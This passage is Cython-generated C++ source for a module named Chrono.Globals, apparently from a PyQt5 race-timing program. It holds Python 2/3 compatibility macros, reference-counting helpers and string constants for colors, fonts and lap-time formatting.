PyUnicode_Format(a, b)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) #else #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) #endif #if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) #define PyObject_ASCII(o) PyObject_Repr(o) #endif #if PY_MAJOR_VERSION >= 3 #define PyBaseString_Type PyUnicode_Type #define PyStringObject PyUnicodeObject #define PyString_Type PyUnicode_Type #define PyString_Check PyUnicode_Check #define PyString_CheckExact PyUnicode_CheckExact #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) #else #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) #endif #ifndef PySet_CheckExact #define PySet_CheckExact(obj) (Py_TYPE(obj) == &PySet_Type) #endif #define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) #define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) #if PY_MAJOR_VERSION >= 3 #define PyIntObject PyLongObject #define PyInt_Type PyLong_Type #define PyInt_Check(op) PyLong_Check(op) #define PyInt_CheckExact(op) PyLong_CheckExact(op) #define PyInt_FromString PyLong_FromString #define PyInt_FromUnicode PyLong_FromUnicode #define PyInt_FromLong PyLong_FromLong #define PyInt_FromSize_t PyLong_FromSize_t #define PyInt_FromSsize_t PyLong_FromSsize_t #define PyInt_AsLong PyLong_AsLong #define PyInt_AS_LONG PyLong_AS_LONG #define PyInt_AsSsize_t PyLong_AsSsize_t #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask #define PyNumber_Int PyNumber_Long #endif #if PY_MAJOR_VERSION >= 3 #define PyBoolObject PyLongObject #endif #if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY #ifndef PyUnicode_InternFromString #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) #endif #endif #if PY_VERSION_HEX < 0x030200A4 typedef long Py_hash_t; #define __Pyx_PyInt_FromHash_t PyInt_FromLong #define __Pyx_PyInt_AsHash_t PyInt_AsLong #else #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t #define __Pyx_PyInt_AsHash_t PyInt_AsSsize_t #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func)) #else #define __Pyx_PyMethod_New(func, self, klass) PyMethod_New(func, self, klass) #endif #if CYTHON_USE_ASYNC_SLOTS #if PY_VERSION_HEX >= 0x030500B1 #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) #else typedef struct { unaryfunc am_await; unaryfunc am_aiter; unaryfunc am_anext; } __Pyx_PyAsyncMethodsStruct; #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) #endif #else #define __Pyx_PyType_AsAsync(obj) NULL #endif #ifndef CYTHON_RESTRICT #if defined(__GNUC__) #define CYTHON_RESTRICT __restrict__ #elif defined(_MSC_VER) && _MSC_VER >= 1400 #define CYTHON_RESTRICT __restrict #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define CYTHON_RESTRICT restrict #else #define CYTHON_RESTRICT #endif #endif #ifndef CYTHON_UNUSED # if defined(__GNUC__) # if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif # elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif #endif #ifndef CYTHON_MAYBE_UNUSED_VAR # if defined(__cplusplus) template<class T> void CYTHON_MAYBE_UNUSED_VAR( const T& ) { } # else # define CYTHON_MAYBE_UNUSED_VAR(x) (void)(x) # endif #endif #ifndef CYTHON_NCP_UNUSED # if CYTHON_COMPILING_IN_CPYTHON # define CYTHON_NCP_UNUSED # else # define CYTHON_NCP_UNUSED CYTHON_UNUSED # endif #endif #define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) #ifndef __cplusplus #error "Cython files generated with the C++ option must be compiled with a C++ compiler." #endif #ifndef CYTHON_INLINE #if defined(__clang__) #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) #else #define CYTHON_INLINE inline #endif #endif template<typename T> void __Pyx_call_destructor(T& x) { x.~T(); } template<typename T> class __Pyx_FakeReference { public: __Pyx_FakeReference() : ptr(NULL) { } __Pyx_FakeReference(const T& ref) : ptr(const_cast<T*>(&ref)) { } T *operator->() { return ptr; } T *operator&() { return ptr; } operator T&() { return *ptr; } template<typename U> bool operator ==(U other) { return *ptr == other; } template<typename U> bool operator !=(U other) { return *ptr != other; } private: T *ptr; }; #if defined(WIN32) || defined(MS_WINDOWS) #define _USE_MATH_DEFINES #endif #include <math.h> #ifdef NAN #define __PYX_NAN() ((float) NAN) #else static CYTHON_INLINE float __PYX_NAN() { float value; memset(&value, 0xFF, sizeof(value)); return value; } #endif #if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) #define __Pyx_truncl trunc #else #define __Pyx_truncl truncl #endif #define __PYX_ERR(f_index, lineno, Ln_error) \ { \ __pyx_filename = __pyx_f[f_index]; __pyx_lineno = lineno; __pyx_clineno = __LINE__; goto Ln_error; \ } #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #else #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #endif #ifndef __PYX_EXTERN_C #ifdef __cplusplus #define __PYX_EXTERN_C extern "C" #else #define __PYX_EXTERN_C extern #endif #endif #define __PYX_HAVE__Chrono__Globals #define __PYX_HAVE_API__Chrono__Globals #ifdef _OPENMP #include <omp.h> #endif /* _OPENMP */ #ifdef PYREX_WITHOUT_ASSERTIONS #define CYTHON_WITHOUT_ASSERTIONS #endif typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; #define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 #define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT 0 #define __PYX_DEFAULT_STRING_ENCODING "" #define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString #define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #define __Pyx_uchar_cast(c) ((unsigned char)c) #define __Pyx_long_cast(x) ((long)x) #define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ (sizeof(type) < sizeof(Py_ssize_t)) ||\ (sizeof(type) > sizeof(Py_ssize_t) &&\ likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX) &&\ (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ v == (type)PY_SSIZE_T_MIN))) ||\ (sizeof(type) == sizeof(Py_ssize_t) &&\ (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX))) ) #if defined (__cplusplus) && __cplusplus >= 201103L #include <cstdlib> #define __Pyx_sst_abs(value) std::abs(value) #elif SIZEOF_INT >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) abs(value) #elif SIZEOF_LONG >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) labs(value) #elif defined (_MSC_VER) && defined (_M_X64) #define __Pyx_sst_abs(value) _abs64(value) #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define __Pyx_sst_abs(value) llabs(value) #elif defined (__GNUC__) #define __Pyx_sst_abs(value) __builtin_llabs(value) #else #define __Pyx_sst_abs(value) ((value<0) ? -value : value) #endif static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject*); static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); #define __Pyx_PyByteArray_FromString(s) PyByteArray_FromStringAndSize((const char*)s, strlen((const char*)s)) #define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) #define __Pyx_PyBytes_FromString PyBytes_FromString #define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); #if PY_MAJOR_VERSION < 3 #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #else #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize #endif #define __Pyx_PyObject_AsSString(s) ((signed char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsUString(s) ((unsigned char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) #define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) #define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) #define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) #define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) #if PY_MAJOR_VERSION < 3 static CYTHON_INLINE size_t __Pyx_Py_UNICODE_strlen(const Py_UNICODE *u) { const Py_UNICODE *u_end = u; while (*u_end++) ; return (size_t)(u_end - u - 1); } #else #define __Pyx_Py_UNICODE_strlen Py_UNICODE_strlen #endif #define __Pyx_PyUnicode_FromUnicode(u) PyUnicode_FromUnicode(u, __Pyx_Py_UNICODE_strlen(u)) #define __Pyx_PyUnicode_FromUnicodeAndLength PyUnicode_FromUnicode #define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode #define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) #define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) #define __Pyx_PyBool_FromLong(b) ((b) ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False)) static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); #if CYTHON_ASSUME_SAFE_MACROS #define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) #else #define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) #endif #define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) #else #define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) #endif #define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Float(x)) #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII static int __Pyx_sys_getdefaultencoding_not_ascii; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; PyObject* ascii_chars_u = NULL; PyObject* ascii_chars_b = NULL; const char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; if (strcmp(default_encoding_c, "ascii") == 0) { __Pyx_sys_getdefaultencoding_not_ascii = 0; } else { char ascii_chars[128]; int c; for (c = 0; c < 128; c++) { ascii_chars[c] = c; } __Pyx_sys_getdefaultencoding_not_ascii = 1; ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); if (!ascii_chars_u) goto bad; ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { PyErr_Format( PyExc_ValueError, "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", default_encoding_c); goto bad; } Py_DECREF(ascii_chars_u); Py_DECREF(ascii_chars_b); } Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); Py_XDECREF(ascii_chars_u); Py_XDECREF(ascii_chars_b); return -1; } #endif #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) #else #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT static char* __PYX_DEFAULT_STRING_ENCODING; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c)); if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); return -1; } #endif #endif /* Test for GCC > 2.95 */ #if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) #define likely(x) __builtin_expect(!!(x), 1) #define unlikely(x) __builtin_expect(!!(x), 0) #else /* !__GNUC__ or GCC < 2.95 */ #define likely(x) (x) #define unlikely(x) (x) #endif /* __GNUC__ */ static PyObject *__pyx_m; static PyObject *__pyx_d; static PyObject *__pyx_b; static PyObject *__pyx_empty_tuple; static PyObject *__pyx_empty_bytes; static PyObject *__pyx_empty_unicode; static int __pyx_lineno; static int __pyx_clineno = 0; static const char * __pyx_cfilenm= __FILE__; static const char *__pyx_filename; static const char *__pyx_f[] = { "Chrono/Globals.py", }; /*--- Type declarations ---*/ /* --- Runtime support code (head) --- */ /* Refnanny.proto */ #ifndef CYTHON_REFNANNY #define CYTHON_REFNANNY 0 #endif #if CYTHON_REFNANNY typedef struct { void (*INCREF)(void*, PyObject*, int); void (*DECREF)(void*, PyObject*, int); void (*GOTREF)(void*, PyObject*, int); void (*GIVEREF)(void*, PyObject*, int); void* (*SetupContext)(const char*, int, const char*); void (*FinishContext)(void**); } __Pyx_RefNannyAPIStruct; static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; #ifdef WITH_THREAD #define __Pyx_RefNannySetupContext(name, acquire_gil)\ if (acquire_gil) {\ PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ PyGILState_Release(__pyx_gilstate_save);\ } else {\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ } #else #define __Pyx_RefNannySetupContext(name, acquire_gil)\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__) #endif #define __Pyx_RefNannyFinishContext()\ __Pyx_RefNanny->FinishContext(&__pyx_refnanny) #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_XINCREF(r) do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0) #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0) #define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0) #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0) #else #define __Pyx_RefNannyDeclarations #define __Pyx_RefNannySetupContext(name, acquire_gil) #define __Pyx_RefNannyFinishContext() #define __Pyx_INCREF(r) Py_INCREF(r) #define __Pyx_DECREF(r) Py_DECREF(r) #define __Pyx_GOTREF(r) #define __Pyx_GIVEREF(r) #define __Pyx_XINCREF(r) Py_XINCREF(r) #define __Pyx_XDECREF(r) Py_XDECREF(r) #define __Pyx_XGOTREF(r) #define __Pyx_XGIVEREF(r) #endif #define __Pyx_XDECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_XDECREF(tmp);\ } while (0) #define __Pyx_DECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_DECREF(tmp);\ } while (0) #define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) #define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) /* PyObjectGetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_getattro)) return tp->tp_getattro(obj, attr_name); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_getattr)) return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); #endif return PyObject_GetAttr(obj, attr_name); } #else #define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) #endif /* GetBuiltinName.proto */ static PyObject *__Pyx_GetBuiltinName(PyObject *name); /* PyIntBinop.proto */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_RemainderObjC(PyObject *op1, PyObject *op2, long intval, int inplace); #else #define __Pyx_PyInt_RemainderObjC(op1, op2, intval, inplace)\ (inplace ? PyNumber_InPlaceRemainder(op1, op2) : PyNumber_Remainder(op1, op2)) #endif /* PyIntBinop.proto */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_TrueDivideObjC(PyObject *op1, PyObject *op2, long intval, int inplace); #else #define __Pyx_PyInt_TrueDivideObjC(op1, op2, intval, inplace)\ (inplace ? PyNumber_InPlaceTrueDivide(op1, op2) : PyNumber_TrueDivide(op1, op2)) #endif /* PyCFunctionFastCall.proto */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject *__Pyx_PyCFunction_FastCall(PyObject *func, PyObject **args, Py_ssize_t nargs); #else #define __Pyx_PyCFunction_FastCall(func, args, nargs) (assert(0), NULL) #endif /* PyFunctionFastCall.proto */ #if CYTHON_FAST_PYCALL #define __Pyx_PyFunction_FastCall(func, args, nargs)\ __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs); #else #define __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs) _PyFunction_FastCallDict(func, args, nargs, kwargs) #endif #endif /* PyObjectCall.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); #else #define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) #endif /* PyObjectCallMethO.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); #endif /* PyObjectCallOneArg.proto */ static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); /* Import.proto */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); /* ImportFrom.proto */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); /* GetModuleGlobalName.proto */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name); /* PyObjectCallNoArg.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); #else #define __Pyx_PyObject_CallNoArg(func) __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL) #endif /* FetchCommonType.proto */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); /* CythonFunction.proto */ #define __Pyx_CyFunction_USED 1 #include <structmember.h> #define __Pyx_CYFUNCTION_STATICMETHOD 0x01 #define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 #define __Pyx_CYFUNCTION_CCLASS 0x04 #define __Pyx_CyFunction_GetClosure(f)\ (((__pyx_CyFunctionObject *) (f))->func_closure) #define __Pyx_CyFunction_GetClassObj(f)\ (((__pyx_CyFunctionObject *) (f))->func_classobj) #define __Pyx_CyFunction_Defaults(type, f)\ ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) #define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) typedef struct { PyCFunctionObject func; #if PY_VERSION_HEX < 0x030500A0 PyObject *func_weakreflist; #endif PyObject *func_dict; PyObject *func_name; PyObject *func_qualname; PyObject *func_doc; PyObject *func_globals; PyObject *func_code; PyObject *func_closure; PyObject *func_classobj; void *defaults; int defaults_pyobjects; int flags; PyObject *defaults_tuple; PyObject *defaults_kwdict; PyObject *(*defaults_getter)(PyObject *); PyObject *func_annotations; } __pyx_CyFunctionObject; static PyTypeObject *__pyx_CyFunctionType = 0; #define __Pyx_CyFunction_NewEx(ml, flags, qualname, self, module, globals, code)\ __Pyx_CyFunction_New(__pyx_CyFunctionType, ml, flags, qualname, self, module, globals, code) static PyObject *__Pyx_CyFunction_New(PyTypeObject *, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *self, PyObject *module, PyObject *globals, PyObject* code); static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, size_t size, int pyobjects); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, PyObject *tuple); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, PyObject *dict); static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, PyObject *dict); static int __pyx_CyFunction_init(void); /* CodeObjectCache.proto */ typedef struct { PyCodeObject* code_object; int code_line; } __Pyx_CodeObjectCacheEntry; struct __Pyx_CodeObjectCache { int count; int max_count; __Pyx_CodeObjectCacheEntry* entries; }; static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); static PyCodeObject *__pyx_find_code_object(int code_line); static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); /* AddTraceback.proto */ static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename); /* CIntToPy.proto */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); /* CIntFromPy.proto */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); /* CIntFromPy.proto */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); /* CheckBinaryVersion.proto */ static int __Pyx_check_binary_version(void); /* InitStrings.proto */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); /* Module declarations from 'Chrono.Globals' */ #define __Pyx_MODULE_NAME "Chrono.Globals" int __pyx_module_is_main_Chrono__Globals = 0; /* Implementation of 'Chrono.Globals' */ static PyObject *__pyx_builtin_chr; static const char __pyx_k_[] = ":"; static const char __pyx_k_c[] = "c"; static const char __pyx_k_0d[] = "{:0d}"; static const char __pyx_k_7m[] = "[7m"; static const char __pyx_k__2[] = "."; static const char __pyx_k_02d[] = "{:02d}"; static const char __pyx_k_04d[] = "{:04d}"; static const char __pyx_k_27m[] = "[27m"; static const char __pyx_k_30m[] = "[30m"; static const char __pyx_k_31m[] = "[31m"; static const char __pyx_k_32m[] = "[32m"; static const char __pyx_k_34m[] = "[34m"; static const char __pyx_k_Red[] = "Red"; static const char __pyx_k_chr[] = "chr"; static const char __pyx_k_Blue[] = "Blue"; static const char __pyx_k_Cyan[] = "Cyan"; static const char __pyx_k_main[] = "__main__"; static const char __pyx_k_test[] = "__test__"; static const char __pyx_k_Green[] = "Green"; static const char __pyx_k_QFont[] = "QFont"; static const char __pyx_k_QIcon[] = "QIcon"; static const char __pyx_k_White[] = "White"; static const char __pyx_k_heure[] = "heure"; static const char __pyx_k_icons[] = "icons"; static const char __pyx_k_milli[] = "milli"; static const char __pyx_k_QColor[] = "QColor"; static const char __pyx_k_Violet[] = "Violet"; static const char __pyx_k_Yellow[] = "Yellow"; static const char __pyx_k_colors[] = "colors"; static const char __pyx_k_format[] = "format"; static const char __pyx_k_import[] = "__import__"; static const char __pyx_k_minute[] = "minute"; static const char __pyx_k_second[] = "second"; static const char __pyx_k_decoder[] = "decoder"; static const char __pyx_k_seconds[] = "seconds"; static const char __pyx_k_setBold[] = "setBold"; static const char __pyx_k_TP__8_8X[] = "TP_%8.8X"; static const char __pyx_k_UserRole[] = "UserRole"; static const char __pyx_k_dictRace[] = "dictRace"; static const char __pyx_k_max_time[] = "max_time"; static const char __pyx_k_raceLaps[] = "raceLaps"; static const char __pyx_k_receiver[] = "receiver"; static const char __pyx_k_text_red[] = "text_red"; static const char __pyx_k_racerList[] = "racerList"; static const char __pyx_k_setFamily[] = "setFamily"; static const char __pyx_k_setItalic[] = "setItalic"; static const char __pyx_k_setWeight[] = "setWeight"; static const char __pyx_k_text_blue[] = "text_blue"; static const char __pyx_k_C_listFont[] = "C_listFont"; static const char __pyx_k_ID__16_16X[] = "ID_%16.16X"; static const char __pyx_k_MainWindow[] = "MainWindow"; static const char __pyx_k_createTime[] = "createTime"; static const char __pyx_k_setKerning[] = "setKerning"; static const char __pyx_k_text_black[] = "text_black"; static const char __pyx_k_text_green[] = "text_green"; static const char __pyx_k_Courier_New[] = "Courier New"; static const char __pyx_k_PyQt5_QtGui[] = "PyQt5.QtGui"; static const char __pyx_k_dictBestLap[] = "dictBestLap"; static const char __pyx_k_finish_flag[] = "finish flag"; static const char __pyx_k_text_normal[] = "text_normal"; static const char __pyx_k_tpRacerList[] = "tpRacerList"; static const char __pyx_k_clear_screen[] = "clear_screen"; static const char __pyx_k_raceDuration[] = "raceDuration"; static const char __pyx_k_setPointSize[] = "setPointSize"; static const char __pyx_k_12_10s_15_10s[] = "%-12.10s %-15.10s"; static const char __pyx_k_text_inverted[] = "text_inverted"; static const char __pyx_k_Chrono_Globals[] = "Chrono.Globals"; static const char __pyx_k_createTimeSeconds[] = "createTimeSeconds"; static const char __pyx_k_4_0d_12_10s_15_10s[] = "%4.0d %-12.10s %-15.10s"; static const char __pyx_k_dictBestLapMonitor[] = "dictBestLapMonitor"; static const char __pyx_k_C_concurrents_ID_fmt[] = "C_concurrents_ID_fmt"; static const char __pyx_k_C_concurrents_TP_fmt[] = "C_concurrents_TP_fmt"; static const char __pyx_k_C_concurrents_item_fmt[] = "C_concurrents_item_fmt"; static const char __pyx_k_C_concurrents_moni_fmt[] = "C_concurrents_moni_fmt"; static const char __pyx_k_home_thor_Devel_Transponder_Chr[] = "/home/thor/Devel/Transponder/Chrono/Globals.py"; static PyObject *__pyx_kp_u_; static PyObject *__pyx_kp_u_02d; static PyObject *__pyx_kp_u_04d; static PyObject *__pyx_kp_u_0d; static PyObject *__pyx_kp_u_12_10s_15_10s; static PyObject *__pyx_kp_u_27m; static PyObject *__pyx_kp_u_30m; static PyObject *__pyx_kp_u_31m; static PyObject *__pyx_kp_u_32m; static PyObject *__pyx_kp_u_34m; static PyObject *__pyx_kp_u_4_0d_12_10s_15_10s; static PyObject *__pyx_kp_u_7m; static PyObject *__pyx_n_u_Blue; static PyObject *__pyx_n_s_C_concurrents_ID_fmt; static PyObject *__pyx_n_s_C_concurrents_TP_fmt; static PyObject *__pyx_n_s_C_concurrents_item_fmt; static PyObject *__pyx_n_s_C_concurrents_moni_fmt; static PyObject *__pyx_n_s_C_listFont; static PyObject *__pyx_n_s_Chrono_Globals; static PyObject *__pyx_kp_u_Courier_New; static PyObject 